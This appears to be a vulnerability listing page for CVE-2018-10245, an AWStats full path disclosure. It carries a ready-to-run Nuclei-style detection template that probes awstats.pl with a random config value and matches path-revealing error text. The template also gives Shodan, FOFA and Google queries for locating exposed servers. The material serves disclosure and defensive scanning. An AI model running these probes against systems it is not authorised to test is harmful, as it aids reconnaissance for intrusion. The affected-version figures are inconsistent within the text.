CVE-2018-10245: AWStats <= 7.5 - Full Path Disclosure

日期: 2026-01-08 | 影响软件: AWStats | POC: 已公开

漏洞描述

AWStats 7.6 contains a full path disclosure caused by improper handling of framename and update parameters in awstats.pl, letting remote attackers determine server file paths, exploit requires sending crafted parameters.

PoC代码[已公开]

id: CVE-2018-10245

info:
  name: AWStats <= 7.5 - Full Path Disclosure
  author: 0x_Akoko
  severity: medium
  description: |
    AWStats 7.6 contains a full path disclosure caused by improper handling of framename and update parameters in awstats.pl, letting remote attackers determine server file paths, exploit requires sending crafted parameters.
  impact: |
    Attackers can discover server file paths, aiding further exploitation or reconnaissance.
  remediation: |
    Update to the latest version of AWStats or apply security patches addressing this issue.
  reference:
    - https://github.com/eldy/awstats
    - https://awstats.sourceforge.io/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cwe-id: CWE-200
    cpe: cpe:2.3:a:laurent_destailleur:awstats:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    shodan-query: 'http.html:"AWStats"'
    fofa-query: 'app="AWStats"'
    google-query: inurl:"awstats.pl"
  tags: cve,cve2018,awstats,fpd,disclosure,exposure

http:
  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin/awstats.pl?config={{randstr}}"
      - "{{BaseURL}}/awstats/awstats.pl?config={{randstr}}"
      - "{{BaseURL}}/awstats.pl?config={{randstr}}"

    stop-at-first-match: true

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains_all(body, "open config file", "after searching in path")
          - contains_any(body, "/etc/awstats", "/usr/", "/var/", "/opt/")
        condition: and
# digest: 4a0a0047304502200d03a9c0bbff6abb8a89d34f283c6171f7a6dd77fc771e872bfc3236ba972a97022100d510c21d7cd28ba0dbf0e58d129ac79fe53a59d5da889464fdbd53ed15647287:922c64590222798bb761d5b6d8e72950

相关漏洞推荐